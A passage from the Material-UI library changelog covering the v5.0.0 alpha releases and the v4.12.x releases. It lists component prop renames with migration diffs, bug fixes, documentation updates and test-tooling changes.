#22111) @eps1lon.\n- 🚧 We have undertaken breaking changes.\n\n### `@material-ui/core@v5.0.0-alpha.6`\n\n#### Breaking changes\n\n- [Avatar] Rename variant circle -> circular for consistency (#22015) @kodai3\n  Rename `circle` to `circular` for consistency. The possible values should be adjectives, not nouns:\n\n  ```diff\n  -<Avatar variant=\"circle\">\n  +<Avatar variant=\"circular\">\n  ```\n\n- [Badge] Rename overlap circle -> circular and rectangle -> rectangular for consistency (#22050) @kodai3\n  Rename `circle` to `circular` and `rectangle` to `rectangular` for consistency. The possible values should be adjectives, not nouns:\n\n  ```diff\n  -<Badge overlap=\"circle\">\n  -<Badge overlap=\"rectangle\">\n  +<Badge overlap=\"circular\">\n  +<Badge overlap=\"rectangular\">\n  ```\n\n- [CircularProgress] Remove static variant, simplify determinate (#22060) @mbrookes\n  The `static` variant has been merged into the `determinate` variant, with the latter assuming the appearance of the former.\n  The removed variant was rarely useful. It was an exception to Material Design, and was removed from the specification.\n\n  ```diff\n  -<CircularProgress variant=\"determinate\" />\n  ```\n\n  ```diff\n  -<CircularProgress variant=\"static\" classes={{ static: 'className' }} />\n  +<CircularProgress variant=\"determinate\" classes={{ determinate: 'className' }} />\n  ```\n\n- [Dialog] Remove transition onX props (#22113) @mbrookes\n  The onE\\* transition props were removed. Use TransitionProps instead.\n\n  ```diff\n   <Dialog\n  -  onEnter={onEnter}\n  -  onEntered={onEntered},\n  -  onEntering={onEntered},\n  -  onExit={onEntered},\n  -  onExited={onEntered},\n  -  onExiting={onEntered}\n  +  TransitionProps={{\n  +    onEnter,\n  +    onEntered,\n  +    onEntering,\n  +    onExit,\n  +    onExited,\n  +    onExiting,\n  +  }}\n   />\n  ```\n\n- [Fab] Rename round -> circular for consistency (#21903) @kodai3\n  Rename `round` to `circular` for consistency. The possible values should be adjectives, not nouns:\n\n  ```diff\n  -<Fab variant=\"round\">\n  +<Fab variant=\"circular\">\n  ```\n\n- [List] Improve hover/select/focus UI display (#21930) @joshwooding\n- [Pagination] Rename round -> circular for consistency (#22009) @kodai3\n  Rename `round` to `circular` for consistency. The possible values should be adjectives, not nouns:\n\n  ```diff\n  -<Pagination shape=\"round\">\n  -<PaginationItem shape=\"round\">\n  +<Pagination shape=\"circular\">\n  +<PaginationItem shape=\"circular\">\n  ```\n\n- [RootRef] Remove component (#21974) @eps1lon\n  This component was removed. You can get a reference to the underlying DOM node of our components via `ref` prop.\n  The component relied on [`ReactDOM.findDOMNode`](https://legacy.reactjs.org/docs/react-dom.html#finddomnode) which is [deprecated in `React.StrictMode`](https://legacy.reactjs.org/docs/strict-mode.html#warning-about-deprecated-finddomnode-usage).\n\n  ```diff\n  -<RootRef rootRef={ref}>\n  -  <Button />\n  -</RootRef>\n  +<Button ref={ref} />\n  ```\n\n- [Snackbar] Change the default position on desktop (#21980) @kodai3\n  The notification now displays at the bottom left on large screens.\n  It better matches the behavior of Gmail, Google Keep, material.io, etc.\n  You can restore the previous behavior with:\n\n  ```diff\n  -<Snackbar />\n  +<Snackbar anchorOrigin={{ vertical: 'bottom', horizontal: 'center' }} />\n  ```\n\n- [Snackbar] Remove transition onX props (#22107) @mbrookes\n  The onE\\* transition props were removed. Use TransitionProps instead.\n\n  ```diff\n   <Snackbar\n  -  onEnter={onEnter}\n  -  onEntered={onEntered},\n  -  onEntering={onEntered},\n  -  onExit={onEntered},\n  -  onExited={onEntered},\n  -  onExiting={onEntered}\n  +  TransitionProps={{\n  +    onEnter,\n  +    onEntered,\n  +    onEntering,\n  +    onExit,\n  +    onExited,\n  +    onExiting,\n  +  }}\n   />\n  ```\n\n- [TextareaAutosize] Rename rowsMax->maxRows & rowsMin->minRows (#21873) @mhayk\n  Rename `rowsMin`/`rowsMax` prop with `mi Rows`/`maxRows` for consistency with HTML attributes.\n\n  ```diff\n  -<TextField rowsMax={6}>\n  -<TextareAutosize rowsMin={1}>\n  -<TextareAutosize rowsMax={6}>\n  +<TextField maxRows={6}>\n  +<TextareAutosize minRows={1}>\n  +<TextareAutosize maxRows={6}>\n  ```\n\n- [TextField] Better isolate static textarea behavior to dynamic one (#21995) @AxartInc\n  Better isolate the fixed textarea height behavior to the dynamic one.\n  You need to use the `rowsMin` prop in the following case:\n\n  ```diff\n  -<TextField rows={2} rowsMax={5} />\n  +<TextField rowsMin={2} rowsMax={5} />\n  ```\n\n  Remove the `rows` prop, use the `rowsMin` prop instead.\n  This change aims to clarify the behavior of the prop.\n\n  ```diff\n  -<TextareaAutosize rows={2} />\n  +<TextareaAutosize rowsMin={2} />\n  ```\n\n- [theme] Remove theme.mixins.gutters (#22109) @joshwooding\n  The abstraction hasn't proven to be used frequently enough to be valuable.\n\n  ```diff\n  -theme.mixins.gutters(),\n  +paddingLeft: theme.spacing(2),\n  +paddingRight: theme.spacing(2),\n  +[theme.breakpoints.up('sm')]: {\n  +  paddingLeft: theme.spacing(3),\n  +  paddingRight: theme.spacing(3),\n  +},\n  ```\n\n#### Changes\n\n- [Avatar] Custom variant (#22139) @mnajdova\n- [Badge] Add missing class key (#22095) @kodai3\n- [Badge] Custom variant (#22140) @mnajdova\n- [Button] Improved variant type names & cleanup tests (#22010) @mnajdova\n- [ButtonBase] Forward type to other components than 'button' (#22172) @eps1lon\n- [ButtonGroup] Custom variant (#22160) @mnajdova\n- [Chip] Custom variant (#22161) @mnajdova\n- [CssBaseline] Add text size adjust property (#22089) @Tolsee\n- [l10n] Add Greek (el-GR) locale (#21988) @tmanolat\n- [Table] Cell small's right padding is bigger than medium (#22017) @adamlaurencik\n- [FocusTrap] Add documentation (#22062) @oliviertassinari\n- [Typography] Add custom variants support (#22006) @mnajdova\n- [useIsFocusVisible] Remove focus-visible if focus is re-targetted (#22102) @eps1lon\n- [core] Fix various potential issues with multiple windows (#22159) @scottander\n- [core] Improve hook dependencies in useControlled.js (#21977) @roth1002\n\n### `@material-ui/lab@v5.0.0-alpha.6`\n\n#### Breaking changes\n\n- [Skeleton] Rename variant circle -> circular and rect -> rectangular for consistency (#22053) @kodai3\n  Rename `circle` to `circular` and `rect` to `rectangular` for consistency. The possible values should be adjectives, not nouns:\n\n  ```diff\n  -<Skeleton variant=\"circle\">\n  -<Skeleton variant=\"rect\">\n  +<Skeleton variant=\"circular\">\n  +<Skeleton variant=\"rectangular\">\n  ```\n\n#### Changes\n\n- [Autocomplete] Add support for \"{label: string}\" data type as a default for \"options\" (#21992) @DanailH\n- [TreeView] Add disabled prop (#20133) @netochaves\n- [TreeView] Simplify focus logic (#22098) @eps1lon\n- [TreeView] Test current behavior of active item removal (#21720) @eps1lon\n- [TreeView] Test selection behavior (#21901) @joshwooding\n\n### `@material-ui/system@v5.0.0-alpha.6`\n\n- [core] Bump csstype to 3.0.0 (#22048) @eps1lon\n\n### Docs\n\n- [docs] Add 'size' prop to ToggleButton API docs (#22052) @zenje\n- [docs] Add ClassKeys migration description for Renaming API (#22061) @kodai3\n- [docs] Add a label to the TreeView demos (#21900) @joshwooding\n- [docs] Add missing JSDoc for various props (#22005) @eps1lon\n- [docs] Add the services that support MUI in readme (#22137) @naineet\n- [docs] Add trailingSlash: true (#22008) @oliviertassinari\n- [docs] Add visibility to TypeScript examples (#22013) @esemeniuc\n- [docs] Avoid using any type in Tabs examples (#22091) @tacigar\n- [docs] Bump next to 9.5.0 (#21975) @eps1lon\n- [docs] Disallow undefined array members at runtime where they're unexpected (#21990) @eps1lon\n- [docs] Improve Autocomplete GitHub demo (#22153) @aquibbaig\n- [docs] Improve draggable dialog demo wording (#22021) @Sanskar95\n- [docs] Improve transition props API descriptions (#21952) @maksimgm\n- [docs] Port buildApi to TypeScript (#22055) @eps1lon\n- [docs] Update build instructions for component API (#21970) @eps1lon\n- [docs] Update grouped instruction of autocomplete (#22056) @yfng96\n- [docs] Use `import * as React from 'react';` (#22058) @mbrookes\n- [docs] Use pickers v4 (#22023) @eps1lon\n\n### Core\n\n- [core] Allow running prettier from material-ui-x (#22071) @oliviertassinari\n- [core] Bump csstype to 3.0.0 (#22048) @eps1lon\n- [core] Fix next and prevent future regressions (#22135) @eps1lon\n- [core] Improve merge-conflict label automation (#22065) @eps1lon\n- [core] Lint cleanup (#21972) @eps1lon\n- [core] Resolve all dot-prop versions to 5.x (#22007) @eps1lon\n- [core] Small changes (#22020) @oliviertassinari\n- [Security] Bump elliptic from 6.5.0 to 6.5.3 (#21997) @dependabot-preview\n- [test] Drop css-loader (#21999) @eps1lon\n- [test] Lint framer workspace (#22002) @eps1lon\n- [test] Lint useThemeVariants with custom rules plugin (#21963) @eps1lon\n- [test] Run same tests in coverage and unit (#22092) @eps1lon\n- [test] Type-check framerx package (#21868) @eps1lon\n- [test] Work on React v17 (#22093, #22105, #22143, #22111) @eps1lon\n\n## 5.0.0-alpha.5\n\n_July 28, 2020_\n\nA big thanks to the 18 contributors who made this release possible.\n\n### `@material-ui/core@v5.0.0-alpha.5`\n\n#### Breaking changes\n\n- [Grid] Rename justify prop to justifyContent (#21845) @mnajdova\n\n  Rename `justify` prop with `justifyContent` to be aligned with the CSS property name.\n\n  ```diff\n  -<Grid justify=\"center\">\n  +<Grid justifyContent=\"center\">\n  ```\n\n#### Changes\n\n- [Accordion] Add new classes key (#21920) @natac13\n- [Accordion] Fix IconButtonProps spreading logic (#21850) @kgregory\n- [Avatar] Fix group size (#21896) @natac13\n- [Button] Custom variant (#21648) @mnajdova\n- [CssBaseline] Export ScopedCssBaseline from barrel index (#21869) @mherczeg\n- [Dialog] Fix body scrollbar close behavior (#21951) @maksimgm\n- [Icon] Hide name placeholder while \"Material Icons\" font is loading (#21950) @maksimgm\n- [Select] Ensure that onChange is called before onClose (#21878) @DanailH\n- [Slider] Make `index` public in the ValueLabel props (#21932) @govardhan-srinivas\n\n### `@material-ui/lab@v5.0.0-alpha.5`\n\n- [TreeView] Change focus management to aria-activedescendant (#21695) @joshwooding\n- [TreeView] Fix crash when shift clicking a clean tree (#21899) @joshwooding\n\n### Framer\n\n- [framer] Refactor as switch (#21885) @mhkasif\n- [framer] Update with latest sources (#21888) @eps1lon\n\n### Docs\n\n- [blog] Q2 2020 Update (#21822) @oliviertassinari\n- [docs] Add expand all and select all to controlled tree demo (#21929) @joshwooding\n- [docs] Add useRadioGroup section (#21910) @kodai3\n- [docs] Autocomplete is not showing options even though they exist (#21949) @maksimgm\n- [docs] Change the destination branch for PRs (#21870) @DanailH\n- [docs] Fix Skeleton inline example (#21918) @ppecheux\n- [docs] Fix custom Snackbar width on mobile (#21948) @ruhci28\n- [docs] Fix the type of the second argument of 'createMuiTheme' function (#21859) @DanailH\n- [docs] Improve ad display @oliviertassinari\n- [docs] Improve documentation of theme.breakpoints (#21922) @ruhci28\n- [docs] Link react-hook-form (#21886) @jeffshek\n- [docs] Mention @MuiContrib in CONTRIBUTING (#21891) @eps1lon\n- [docs] Replace latests tags with next in the codesandbox (#21851) @mnajdova\n- [docs] Update gold sponsor to Text-Em-All (formerly Call-Em-All) (#21897) @jonmiller0\n- [docs] Update testing guide (#21863) @eps1lon\n\n### Core\n\n- [test] Enable more StrictMode tests (#21817) @eps1lon\n- [test] Lint internal typescript-to-proptypes fork (#21876) @eps1lon\n- [test] Pass didWarnControlledToUncontrolled between tests (#21875) @eps1lon\n- [test] Unify import to `test/utils (#21856) @eps1lon\n- [core] Add warnings where ref-forwarding components/elements are required (#21883) @eps1lon\n- [core] Automatically tweet about good first issues (#21879) @eps1lon\n- [core] Batch small changes (#21928) @oliviertassinari\n- [core] Remove /test-utils (#21855) @eps1lon\n- [core] Throw on unused `typescript-to-proptypes-ignore` directives (#21867) @eps1lon\n\n## 5.0.0-alpha.4\n\n_July 19, 2020_\n\nA big thanks to the 11 contributors who made this release possible.\n\n### `@material-ui/core@v5.0.0-alpha.4`\n\n#### Breaking changes\n\n- [core] Drop support for non-ref-forwarding class components (#21811) @eps1lon\n  Support for non-ref-forwarding class components in the `component` prop or as an immediate `children` has been dropped. If you were using `unstable_createStrictModeTheme` or didn't see any warnings related to `findDOMNode` in `React.StrictMode` then you don't need to do anything.\n  Otherwise check out the [\"Caveat with refs\" section in our composition guide](/guides/composition/#caveat-with-refs) to find out how to migrate.\n  This change affects almost all components where you're using the `component` prop or passing `children` to components that require `children` to be elements (for example `<MenuList><CustomMenuItem /></MenuList>`)\n- [Stepper] Use context API (#21613) @baterson\n  Rely on the context over the `React.cloneElement()` API.\n  This change makes composition easier.\n\n### `@material-ui/icons@v5.0.0-alpha.4`\n\n- [icons] Add Google brand icon (#21807) @bmg02\n\n### Docs\n\n- [docs] Break up Select demos (#21792) @cjoecker\n- [docs] Change RMUIF info to new version (#21812) @phoqe\n- [docs] Fix Spanish translation (#21800) @adamsr123\n- [docs] Fix nav color (#21780) @mbrookes\n- [docs] Update advanced-de.md (#21786) @jasonericdavis\n\n### Core\n\n- [core] Allow dist tag as argv in use-react-dist-tag (#21810) @eps1lon\n- [core] Drop support for non-ref-forwarding class components (#21811) @eps1lon\n- [core] Lint with typescript-ESLint parser (#21758) @oliviertassinari\n- [core] One label is enough @oliviertassinari\n- [core] Remove lint:fix command @oliviertassinari\n- [test] Enable \"missing act()\"-warnings (#21802) @eps1lon\n- [test] Improve stack trace for unexpected errors (#21818) @eps1lon\n- [test] Update react next patch (#21746) @eps1lon\n- [test] Use testing-library in withStyles (#21804) @eps1lon\n\n## 5.0.0-alpha.3\n\n_July 12, 2020_\n\nA big thanks to the 14 contributors who made this release possible.\n\n### `@material-ui/core@v5.0.0-alpha.3`\n\n- [Avatar] Avoid usage of z-index (#21685) @nvdai2401\n- [GridList] Fix crash when loading images (#21741) @paradoxxxzero\n- [List] Fix secondary action position when disableGutters={true} (#21732) @kgregory\n- [TablePagination] Fix broken labelling if SelectProps provided ids (#21703) @eps1lon\n- [theme] Fix custom breakpoint in CSS Media Queries (#21759) @nkrivous\n- [FocusTrap] Fix disableAutoFocus prop (#21612) @oliviertassinari\n\n### `@material-ui/lab@v5.0.0-alpha.3`\n\n- [lab] Fix TypeScript theme overrides support (#21724) @cjoecker\n- [Autocomplete] Fail form validation if required is filled when `multiple` (#21692, #21670) @weslenng, @eps1lon\n\n### Docs\n\n- [examples] Include troubleshooting for next.js (#21683) @ocavue\n- [docs] Add ethicalads.io (#21752) @oliviertassinari\n- [docs] Apply small fixes (#21754) @jaironalves\n- [docs] Batch small changes (#21669) @oliviertassinari\n- [docs] Bump next to 9.4.4 (#21690) @eps1lon\n- [docs] Fix custom switch ripple color (#21729) @xanderoku\n- [docs] Fix text from showcase (#21755) @cjoecker\n- [docs] Improve customized timeline demo (#21739) @mageprincess\n- [docs] Move more prop docs into IntelliSense (#21659) @eps1lon\n- [docs] Move more prop docs into IntelliSense (#21687) @eps1lon\n- [docs] Recommend default branch (#21719) @eps1lon\n- [docs] Remove `@document` directive from IntelliSense (#21688) @eps1lon\n- [docs] Track web-vitals (#21702) @eps1lon\n\n### Core\n\n- [test] Allow container + hydrate in render (#21747) @eps1lon\n- [test] Bump url-loader (#21689) @eps1lon\n- [test] Restore clock between each test (#21760) @eps1lon\n- [test] Run lab unit tests in browser (#21691) @eps1lon\n- [core] Allow generating markdown api docs for subset of components (#21731) @eps1lon\n- [core] Batch small changes (#21756) @oliviertassinari\n- [core] Don't bail out early if docs:api fails (#21726) @eps1lon\n- [core] Remove dead code from docs:api (#21730) @eps1lon\n- [core] Simplify debounce (#21666) @NMinhNguyen\n- [core] Use common yarn version (#21779) @eps1lon\n\n## 5.0.0-alpha.2\n\n_July 4, 2020_\n\nA big thanks to the 16 contributors who made this release possible.\n\n### `@material-ui/core@v5.0.0-alpha.2`\n\n#### Breaking changes\n\n- [Button] Make primary the default color (#21594) @mbrookes\n  The button `color` prop is now \"primary\" by default, and \"default\" has been removed. This makes the button closer to the Material Design specification and simplifies the API.\n\n  ```diff\n  -<Button color=\"default\" />\n  -<Button color=\"primary\" />\n  +<Button />\n  +<Button />\n  ```\n\n- [ExpansionPanel] Remove component (#21630) @mnajdova\n  This completes our effort on renaming the ExpansionPanel component Accordion\n- [Collapse] Add orientation and horizontal support (#20619) @darkowic\n  The `collapsedHeight` prop was renamed `collapsedSize` to support the horizontal direction.\n\n  ```diff\n  -<Collapse collapsedHeight={40}>\n  +<Collapse collapsedSize={40}>\n  ```\n\n#### Changes\n\n- [Card] Fix vertically center header action (#21646) @kgregory\n- [l10n] Update cs-CZ and sk-SK locales (#21656) @char0n\n- [l10n] Update sv-SE locale (#21631) @tbz\n- [Menu] Remove overflow style in MenuItem (#21644) @tj3407\n- [MenuItem] Add types for ListItemClasses (#21654) @eps1lon\n- [Slider] Fix cannot read property 'focus' of null (#21653) @mageprincess\n- [TextField] Fix CSS isolation issue (#21665) @Codetalker777\n- [FocusTrap] Fix portal support (#21610) @mnajdova\n- [TypeScript] Fix version support (#21640) @jakubfiglak\n\n### `@material-ui/lab@v5.0.0-alpha.2`\n\n- [TreeView] Improve node registration and fix other issues (#21574) @joshwooding\n\n### Docs\n\n- [blog] Post survey results 2020 (#21555) @mnajdova\n- [docs] Add new showcase (#21637) @cjoecker\n- [docs] CodeFund is shutting down (#21632) @oliviertassinari\n- [docs] Document next version (#21591) @oliviertassinari\n- [docs] Enable docs search on v5.0.0 & fix duplicate on master @oliviertassinari\n- [docs] Fix ad issues @oliviertassinari\n- [docs] Move more prop docs into IntelliSense (#21655) @eps1lon\n- [docs] Remove in-context translation code & files (#21633) @mbrookes\n- [example] Remove dead dependency from next-typescript (#21628) @StefanWerW\n\n### Core\n\n- [test] Add toWarnDev() and toErrorDev() matcher (#21581) @eps1lon\n\n## 5.0.0-alpha.1\n\n_June 27, 2020_\n\nA big thanks to the 33 contributors who made this release possible. Here are some highlights ✨:\n\n- 🔄 Introduce a new `LoadingButton` component in the lab (#21389) @mnajdova.\n- 📍 Synchronize icons with Google, add 200 new icons (#21498) @alecananian\n- 💥 Start working on breaking changes.\n\n### `@material-ui/core@v5.0.0-alpha.1`\n\n#### Breaking changes\n\n- [Divider] Use border instead of background color (#18965) @mikejav.\n  It prevents inconsistent height on scaled screens. For people customizing the color of the border, the change requires changing the override CSS property:\n\n  ```diff\n   .MuiDivider-root {\n  -  background-color: #f00;\n  +  border-color: #f00;\n   }\n  ```\n\n- [Rating] Rename `visuallyhidden` to `visuallyHidden` for consistency (#21413) @mnajdova.\n\n  ```diff\n   <Rating\n     classes={{\n  -    visuallyhidden: 'custom-visually-hidden-classname',\n  +    visuallyHidden: 'custom-visually-hidden-classname',\n     }}\n   />\n  ```\n\n- [Typography] Replace the `srOnly` prop so as to not duplicate the capabilities of [System](https://mui.com/system/getting-started/) (#21413) @mnajdova.\n\n  ```diff\n  -import Typography from '@material-ui/core/Typography';\n  +import { visuallyHidden } from '@material-ui/utils';\n  +import styled from 'styled-component';\n\n  +const Span = styled('span')(visuallyHidden);\n\n  -<Typography variant=\"srOnly\">Create a user</Typography>\n  +<Span>Create a user</Span>\n  ```\n\n- [TablePagination] Add showFirstButton and showLastButton support (#20750) @ShahAnuj2610.\n  The customization of the table pagination's actions labels must be done with the `getItemAriaLabel` prop. This increases consistency with the `Pagination` component.\n\n  ```diff\n   <TablePagination\n  -  backIconButtonText=\"Avant\"\n  -  nextIconButtonText=\"Après\n  +  getItemAriaLabel={…}\n  ```\n\n- [ExpansionPanel] Rename to Accordion (#21494) @mnajdova.\n  Use a more common the naming convention:\n\n  ```diff\n  -import ExpansionPanel from '@material-ui/core/ExpansionPanel';\n  -import ExpansionPanelSummary from '@material-ui/core/ExpansionPanelSummary';\n  -import ExpansionPanelDetails from '@material-ui/core/ExpansionPanelDetails';\n  -import ExpansionPanelActions from '@material-ui/core/ExpansionPanelActions';\n  +import Accordion from '@material-ui/core/Accordion';\n  +import AccordionSummary from '@material-ui/core/AccordionSummary';\n  +import AccordionDetails from '@material-ui/core/AccordionDetails';\n  +import AccordionActions from '@material-ui/core/AccordionActions';\n\n  -<ExpansionPanel>\n  +<Accordion>\n  -  <ExpansionPanelSummary>\n  +  <AccordionSummary>\n       <Typography>Location</Typography>\n       <Typography>Select trip destination</Typography>\n  -  </ExpansionPanelSummary>\n  +  </AccordionSummary>\n  -  <ExpansionPanelDetails>\n  +  <AccordionDetails>\n       <Chip label=\"Barbados\" onDelete={() => {}} />\n       <Typography variant=\"caption\">Select your destination of choice</Typography>\n  -  </ExpansionPanelDetails>\n  +  </AccordionDetails>\n     <Divider />\n  -  <ExpansionPanelActions>\n  +  <AccordionActions>\n       <Button size=\"small\">Cancel</Button>\n       <Button size=\"small\" color=\"primary\">Save</Button>\n  -  </ExpansionPanelActions>\n  +  </AccordionActions>\n  -</ExpansionPanel>\n  +</Accordion>\n  ```\n\n- [BottomNavigation] TypeScript: The `event` in `onChange` is no longer typed as a `React.ChangeEvent` but `React.SyntheticEvent`.\n\n  ```diff\n  -<BottomNavigation onChange={(event: React.ChangeEvent<{}>) => {}} />\n  +<BottomNavigation onChange={(event: React.SyntheticEvent) => {}} />\n  ```\n\n- [Slider] TypeScript: The `event` in `onChange` is no longer typed as a `React.ChangeEvent` but `React.SyntheticEvent`.\n\n  ```diff\n  -<Slider onChange={(event: React.ChangeEvent<{}>, value: unknown) => {}} />\n  +<Slider onChange={(event: React.SyntheticEvent, value: unknown) => {}} />\n  ```\n\n- [Tabs] TypeScript: The `event` in `onChange` is no longer typed as a `React.ChangeEvent` but `React.SyntheticEvent`.\n\n  ```diff\n  -<Tabs onChange={(event: React.ChangeEvent<{}>, value: unknown) => {}} />\n  +<Tabs onChange={(event: React.SyntheticEvent, value: unknown) => {}} />\n  ```\n\n- [Accordion] TypeScript: The `event` in `onChange` is no longer typed as a `React.ChangeEvent` but `React.SyntheticEvent`.\n\n  ```diff\n  -<Accordion onChange={(event: React.ChangeEvent<{}>, expanded: boolean) => {}} />\n  +<Accordion onChange={(event: React.SyntheticEvent, expanded: boolean) => {}} />\n  ```\n\n#### Changes\n\n- [Badge] Fix transition flicker (#21557) @mnajdova\n- [ButtonGroup] Improve contained hover style (#21532) @alecananian\n- [l10n] Improve Russian translation (#21480) @AntonLukichev\n- [l10n] Improve zh-CN, add zh-TW (#21493) @Jack-Works\n- [LinearProgress] High frequency updates (#21416) @dnicerio\n- [Stepper] Fix optional label alignment (#21420) @curtislin7\n- [Table] Move prop docs into IntelliSense (#21530) @oliviertassinari\n- [TablePagination] Add showFirstButton and showLastButton support (#20750) @ShahAnuj2610\n- [Tabs] Fix useCallback missing arguments (#21471) @KitsonBroadhurst\n- [TextField] Fix FilledInput disable hover style when disabled (#21457) @tchmnn\n\n### `@material-ui/lab@v5.0.0-alpha.1`\n\n- [Autocomplete] Fix support for renderTags={() => null} (#21460) @matthenschke\n- [LoadingButton] Introduce new component (#21389) @mnajdova\n- [Pagination] Fix display when boundaryCount={0} (#21446) @guimacrf\n- [Skeleton] Fix text border (#21543) @el1f\n- [Timeline] Align dots with content (#21402) @mnajdova\n- [TreeView] Minor styling changes (#21573) @joshwooding\n- [TreeView] Simplify customization (#21514) @joshwooding\n\n### `@material-ui/icons@v5.0.0-alpha.1`\n\n- [icons] Synchronize icons with Google (#21498) @alecananian\n\n### `@material-ui/system@v5.0.0-alpha.1`\n\n- [system] Introduce visuallyHidden style utility (#21413) @mnajdova\n\n### Docs\n\n- [docs] Add CSP support section to docs (#21479) @razor-x\n- [docs] Add explicit example for extending existing palette colors (#21458) @BennyHinrichs\n- [docs] Add more details about breakpoint widths (#21545) @Muzietto\n- [docs] Add new gold sponsor @oliviertassinari\n- [docs] Add transitions customization page (#21456) @mnajdova\n- [docs] Correct syntax errors to improve document readability (#21515) @AGDholo\n- [docs] Document type=\"number\" limitation (#21500) @IwalkAlone\n- [docs] Entry for translations and fix grammar error (#21478) @jaironalves\n- [docs] Fix broken \"customization\" anchor link (#21506) @connorads\n- [docs] Fix typo in MultipleSelects.js (#21510) @ShiyuCheng2018\n- [docs] Fix typo in SpeedDialIcon classes comment (#21398) @zachbradshaw\n- [docs] Fix typo in TextField required prop (#21538) @HumbertoL\n- [docs] Fix version in localized urls (#21442) @tchmnn\n- [docs] Format english markdown files (#21463) @eps1lon\n- [docs] Format some previously unformatted, untranslated files (#21558) @eps1lon\n- [docs] Hide duplicate table borders (#20809) @marcosvega91\n- [docs] Improve docs for useMediaQuery and breakpoint (#21512) @DDDDDanica\n- [docs] Improve npm homepage links (#21452) @eps1lon\n- [docs] Move more prop docs into IntelliSense (#21383) @eps1lon\n- [docs] Restrict docs markdown and demos to 80ch (#21481) @eps1lon\n- [docs] Reword palette intention and fix format (#21477) @DDDDDanica\n- [docs] Update v4 migration guide (#21462) @eps1lon\n\n### Core\n\n- [typescript-to-proptypes] Integrate into monorepo @eps1lon\n- [test] Add type test CardHeader title component (#21590) @eps1lon\n- [test] Fix type tests not being type checked (#21539) @eps1lon\n- [test] Ignore empty vrtests (#21450) @eps1lon\n- [test] Improve makeStyles error coverage (#21568) @eps1lon\n- [test] Migrate Typography to testing-library (#21534) @marcosvega91\n- [test] Move size comparison details to separate page (#21504) @eps1lon\n- [test] Use testing-library in MenuItem (#21391) @eps1lon\n- [test] Use testing-library in StepButton (#21406) @baterson\n- [test] Use testing-library in Stepper (#21400) @baterson\n- [core] Batch small changes (#21419) @oliviertassinari\n- [core] Batch small changes (#21553) @oliviertassinari\n- [core] Disable caching for yarn proptypes permanently (#21414) @eps1lon\n- [core] Extend env for build script (#21403) @eps1lon\n- [core] Fix react next patch and prevent regression (#21495) @eps1lon\n- [core] Fork typescript-to-proptypes (#21497) @eps1lon\n- [core] Misc branch cleaning (#21459) @eps1lon\n- [core] Misc prettier changes (#21484) @eps1lon\n- [core] Run prettier on the JSON sources (#21556) @oliviertassinari\n- [core] Type custom `onChange` implementations with a generic react event (#21552) @eps1lon\n\n## 4.12.3\n\n<!-- generated comparing v4.12.2..master -->\n\n_Jul 27, 2021_\n\n### `@material-ui/core@4.12.3`\n\n- <!-- 2 --> [AccordionSummary] Fix false-positive propType warning with `disableGeneration` (#27385) @eps1lon\n- <!-- 7 --> [ImageList] Fix deprecation warnings (#27502) @mnajdova\n- <!-- 6 --> [TablePagination] Re-introduce deprecated `onChangePage` to `ActionsComponent` (#27407) @eps1lon\n- <!-- 1 --> [TextareaAutosize] Updated deprecation warning to suggest minRows instead of rowsMin (#27398) @HumbertoL\n\n### Docs\n\n- <!-- 4 --> [docs] Fix 404 link to ImageList @oliviertassinari\n- <!-- 3 --> [docs] Fix DataTable.tsx demo in v4 (#27196) @Siv-tspab\n\n### Core\n\n- <!-- 5 --> [core] Add release scripts (#27399) @eps1lon\n\nAll contributors of this release in alphabetical order: @eps1lon, @mnajdova, @HumbertoL, @oliviertassinari, @Siv-tspab\n\n## 4.12.2\n\n<!-- generated comparing v4.12.1..master -->\n\n_Jul 19, 2021_\n\n### `@material-ui/core@4.12.2`\n\n- <!-- 09 --> [Accordion, Collapse] Fix failed proptype error (#27307) @serenalin121\n- <!-- 12 --> [AccordionSummary] Ensure backwards compatible deprecation of classes.focused (#27351) @eps1lon\n- <!-- 11 --> [TextField] Add support for `minRows` (#27293) @eps1lon\n\n### Docs\n\n- <!-- 07 --> [blog] Danilo Leal joins Material UI (#27231) @oliviertassinari\n- <!-- 04 --> [blog] Jun did join in Q1 @oliviertassinari\n- <!-- 03 --> [blog] Fix typo @oliviertassinari\n- <!-- 02 --> [blog] Q2 2021 Update (#27089) @oliviertassinari\n- <!-- 10 --> [docs] Add constant for the banner height (#27309) @mnajdova\n- <!-- 08 --> [docs] Fix various layout issues with the v5 banner (#27237) @mnajdova\n- <!-- 06 --> [docs] Fix https protocol (#27262) @m4theushw\n- <!-- 01 --> [docs] Remove Ethical Ads (#27173) @mbrookes\n- <!-- 05 --> [website] Open 4 new roles (#27123) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @eps1lon, @m4theushw, @mbrookes, @mnajdova, @oliviertassinari, @serenalin121\n\n## 4.12.1\n\n_July 7, 2021_\n\nThis release is released to fix the package.json generation in the previous release.\n\n### Core\n\n- [core] Fix generation of package.json file on Windows (#27160) @mnajdova\n\n## 4.12.0\n\n_July 6, 2021_\n\nA big thanks to the 12 contributors who made this release possible. It includes deprecations that should help developers to have an easier adoption of v5.\n\n### @material-ui/core@4.12.0\n\n- [Accordion] Deprecate classes.focused (#24083) @oliviertassinari\n- [Avatar] Change default variant and adjust deprecation message (#25549) @michal-perlakowski\n- [Badge] Add overlap circular and rectangular (#22076) @eps1lon\n- [ButtonBase] Add warning for buttonRef removal (#25897) @m4theushw\n- [Collapse] Deprecate classes.container (#24084) @oliviertassinari\n- [Collapse] Deprecate collapsedHeight (#24079) @oliviertassinari\n- [Dialog] Add deprecation warning for withMobileDialog (#23570) @RDIL\n- [Dialog] Deprecate the transition onX props (#22114) @mbrookes\n- [Fab] Deprecate variant=\"round\" (#24080) @oliviertassinari\n- [Grid] Add deprecation for justify prop rename (#24078) @oliviertassinari\n- [Grid] Fix justifyContent=\"flex-start\" prop types (#24788) @DukeManh\n- [GridList] Rename to ImageList & add deprecation warnings (#22363) @mbrookes\n- [Icons] Deprecate fontSize value of default, add medium (#23971) @mbrookes\n- [Menu] Deprecate transition onX props (#22213) @mbrookes\n- [Modal][dialog] Deprecate duplicate props with onChange (#24081) @oliviertassinari\n- [Modal][portal] Deprecate onRendered (#24082) @oliviertassinari\n- [Popover] Deprecate transition onX props (#22202) @mbrookes\n- [RootRef] Deprecate component (#24075) @oliviertassinari\n- [Snackbar] Deprecate transition onX props (#22206) @mbrookes\n- [Table] Add deprecation for renamed TablePagination props (#23789) @mnajdova\n- [Table] Deprecate padding=\"default\" (#25990) @m4theushw\n- [TextareaAutosize] Deprecate rowsMax->maxRows & rowsMin->minRows (#23530) @mhayk\n- [TextField] Add isRequired to position prop in InputAdornment (#25912) @m4theushw\n- 